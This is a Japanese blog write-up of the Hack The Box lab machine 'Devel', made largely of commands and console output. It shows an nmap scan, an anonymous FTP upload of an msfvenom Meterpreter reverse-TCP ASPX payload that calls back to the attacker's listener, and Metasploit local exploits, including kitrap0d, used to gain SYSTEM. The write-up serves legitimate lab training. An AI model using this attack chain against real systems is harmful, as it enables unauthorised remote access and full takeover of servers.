家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Devel

前提として

攻略にはmsfvenomを使用しました。msfvenomについて調べてことを以下にまとめます。

msfvenomとは

msfvenomはmetasploitのモジュールの一つでペイロードをコマンドで作成できるツールです。

ペイロードは500以上あり、以下のコマンドで利用可能なペイロード一覧を表示できます。

msfvenom -list payloads

また、対象となるプラットフォーム(OS等)を指定して利用可能なものを表示するといったことも可能です。

msfvenom -l payloads --platform win

※Windowsの場合

また、ペイロードには2種類あるようで、段階的なものと非段階的なものがあります。

段階的なペイロードは攻撃と、その後攻撃者に再接続しに行くという段階を踏むので、ネットワークが低速の場合、うまく動作しないといった特徴があります。

msfvenom -p linux/x86/shell/reverse_tcp #段階的(「/」区切り)
msfvenom -p linux/x86/shell_reverse_tcp #非段階的

 

偵察/スキャン

ports=$(nmap -p- -T4 -P0 10.10.10.5 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -sC -sV -v -P0 -p$ports 10.10.10.5

ポートスキャンにより、TCP/21及びTCP/80が開いていることがわかります。

http://10.10.10.5」にアクセスするとIISのページが表示されます。

 

次にftpにアクセスしてみます。

「anonymous」でログインが可能です。アクセスしてファイルを表示すると、先ほどのIISのページが含まれていることが確認できます。

 

ftp> dir
227 Entering Passive Mode (10,10,10,5,192,6).
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

 

アクセスの取得

FTPのフォルダに対して、ファイルのアップロードが可能かを確認するために、テスト用のHTMLファイルをアップロードします。 

┌──(kali㉿kali)-[~]

└─$ echo "<html><body>test</body></html>" > test.html

 

上記のファイルを作成しFTP経由でアップロードした後、再びDevelにWebのアクセスを行います。 

f:id:iestudy:20210519221014p:plain

testの表示

ここで、FTPのフォルダにアップしたファイルがKaliより見えることで、このフォルダにアップした攻撃モジュールが実行可能であることがわかります。

 

上記の確認が取れたので、msfvenomで攻撃用のモジュールを作成し、Develで実行させることを考えます。

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=自分のIP LPORT=待ち受けポート -f aspx > devel.aspx

-p、-payload:使用するペイロード
-f、-format:出力フォーマット

 

作成したペイロードはftpでputします。

┌──(kali㉿kali)-[~]
└─$ ftp
ftp> open 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> passive
Passive mode on.
ftp> put devel.aspx
local: devel.aspx remote: devel.aspx
227 Entering Passive Mode (10,10,10,5,192,5).
150 Opening ASCII mode data connection.
226 Transfer complete.
2881 bytes sent in 0.00 secs (25.9201 MB/s)
ftp> dir
227 Entering Passive Mode (10,10,10,5,192,6).
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
05-08-21  08:47AM                 2881 devel.aspx
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> 

 

次に受けるハンドラを設定します。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 自分のIP
set LPORT 待ち受けポート
run

 

「run」実行後、ブラウザでアクセスします。

 

f:id:iestudy:20210519222934p:plain

攻撃モジュールの実行

 

攻撃が成功するとハンドラを実行しているコンソールに反応があります。

f:id:iestudy:20210519224108p:plain

待ち受けているコンソール

 

ここまででmeterpreterのシェルが取得できます。

 

※meterpreterとは
Meta Interpreterの略で、DLLインジェクションを通じてメモリ上で動作する、MetasploitFrameworkで使えるシェル。

 

権限昇格 

meterpreterで接続しているので、「local_exploit_suggester」で権限昇格を行います。

 

「local_exploit_suggester」とは

このモジュールは、使用できるローカルのmeterpreterエクスプロイトを提案します。

Multi Recon Local Exploit Suggester

 

この後、提示されたモジュールを使って権限昇格を行いますが、何度か失敗しました。

 

msf6 post(multi/recon/local_exploit_suggester) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
 
[*] Started reverse TCP handler on 10.10.14.3:4444 
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.14.3:4444 -> 10.10.10.5:49168) at 2021-05-08 23:09:09 +0900
 
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options
 
Module options (post/multi/recon/local_exploit_suggester):
 
   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
 
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
 
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 37 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > 
 
※違うコンソールです。
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 3
session => 3
msf6 post(multi/recon/local_exploit_suggester) > run
 
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 37 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > options
 
Module options (exploit/windows/local/bypassuac_eventvwr):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.31.255.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Windows x86
 
 
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(windows/local/bypassuac_eventvwr) > set session 3
session => 3
msf6 exploit(windows/local/bypassuac_eventvwr) > run
 
[*] Started reverse TCP handler on 10.10.14.3:4444 
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_eventvwr) > 
msf6 exploit(windows/local/bypassuac_eventvwr) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options
 
Module options (exploit/windows/local/ms10_015_kitrap0d):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.31.255.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)
 
 
msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 3
session => 3
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
 
[*] Started reverse TCP handler on 10.10.14.3:4444 
[*] Launching notepad to host the exploit...
[+] Process 304 launched.
[*] Reflectively injecting the exploit DLL into 304...
[*] Injecting exploit into 304 ...
[*] Exploit injected. Injecting payload into 304...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 4 opened (10.10.14.3:4444 -> 10.10.10.5:49170) at 2021-05-08 23:19:47 +0900
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
 

 

何度か試すことで最終的にシステム権限を取得できました。

  

参考にさせていただいたサイト

貴重な情報をありがとうございます。

qiita.com

cysec148.hatenablog.com

qiita.com

www.rapid7.com